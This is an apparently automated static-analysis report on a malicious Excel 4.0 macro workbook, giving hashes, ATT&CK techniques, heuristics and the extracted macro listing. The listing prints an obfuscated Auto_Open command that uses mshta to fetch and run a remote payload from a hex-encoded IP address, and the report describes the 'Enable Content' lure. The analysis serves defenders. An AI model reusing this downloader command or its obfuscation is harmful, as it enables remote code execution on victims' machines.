Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 a91d16c06673f889…

MALICIOUS

Office (OLE) / .XLS

65.8 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: ba95dcdd1d716f9666ba1ad068471d09 SHA-1: 7657ac5cd2df8e1eb0a20fa03a5772647fa69d29 SHA-256: a91d16c06673f8894144d5f2986962f481ef1106fa93fc5e24f5b3dd56d23d57
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.003 Windows Command Shell

The sample is an Excel 4.0 macro sheet that uses an Auto_Open entry to execute a command. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', indicating a social engineering lure. The extracted macro script reconstructs the command 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which downloads a second-stage payload from the specified URL. This indicates a downloader functionality.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes
Preview script
First 1,000 lines of the extracted script
' 0085     10 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  F
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  Macro
' 0085     17 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Protecte
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  F!Q1 
' 0018     65 LABEL : Cell Value, String Constant - lll len=47 ptgStr "cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html" 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  F,Q30,"SET.NAME("lll","cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html")",""
'  F,Q42,[],""
'  F,Q53,HALT(),""

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